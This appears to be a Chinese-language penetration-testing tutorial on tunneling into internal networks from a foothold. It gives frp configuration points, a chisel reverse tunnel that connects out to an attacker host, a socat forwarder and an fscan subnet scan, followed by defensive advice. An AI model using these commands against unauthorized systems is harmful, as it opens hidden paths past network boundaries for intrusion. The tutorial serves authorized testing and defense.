跳到主要内容

内网隧道与端口反向映射

拿到 DMZ 或容器网络的落脚点后,真正的目标往往在内网:数据库、SSH、管理面不对外暴露。隧道工具要解决的是同一件事——把"只有落脚点能访问"的内网端口反向映射回攻击机。三类常用工具按落地条件取舍。

仅限授权环境

隧道会穿透网络边界并产生持续外连,仅在授权环境使用,测试结束后及时拆除。


场景与选择

工具适用条件特点
frp有配置文件落地条件稳定、支持多端口批量映射
chisel只映射一两个端口、想快单二进制,反向模式天然兼容 outbound-only
socat已有落地 shell 且目标带 socat临时转发,一条命令

frp:反向端口映射

攻击机跑 frps(服务端),靶机跑 frpc(客户端)。frpc 配置里 serverAddr 指向攻击机,用 remotePortlocalIP:localPort 反向映射为攻击机上的端口:

frpc 配置要点:
- serverAddr 指向攻击机
- 每条代理设置 localIP:localPort(如 172.17.0.2:22)
- remotePort 设为攻击机侧端口(如 2222)

把内网 172.17.0.2:22 映射为攻击机 2222 端口后:

ssh -p 2222 <user>@<攻击机IP>

连的其实是内网主机的 SSH。


chisel:反向隧道

攻击机:

chisel server -p 9090 --reverse

靶机:

chisel client <kali>:9090 R:2222:172.17.0.2:22

--reverse靶机方向主动发起连接并在攻击机开反向端口,兼容只允许出站流量的场景;R:2222:172.17.0.2:22 的语义与上面 frp 示例一致。


socat:临时转发

socat TCP-LISTEN:<port>,fork,reuseaddr TCP:<dst>:<dport>

fork 支持多连接,reuseaddr 便于快速重启。适合一次性、短时间的端口转发。


配套:内网快速发现

映射之前先搞清内网有什么。存活与端口可以用 fscan 之类工具快速扫:

fscan -h 172.20.0.0/24

更系统的扫描方法论见 端口扫描实战流程:RustScan 与 Nmap


复核要点

  • 隧道建立后验证流量真的到达内网目标,而不是停在落脚点本机。
  • 记录每条隧道与映射端口,测试结束统一拆除并检查进程残留。
  • 出站被限制时先确认可用协议与端口,再选工具。

防御建议

  1. 东西向流量分段与监控:内网主机之间不应任意互访。
  2. 收紧出口连接:非必要的主机不允许主动外连任意端口。
  3. 容器网络实施 Network Policy,限制容器向外部发起连接。
  4. 对 frp、chisel、socat 等工具的落地文件与进程建立告警。
  5. 关注异常长连接与反向端口特征,定期审计出口流量。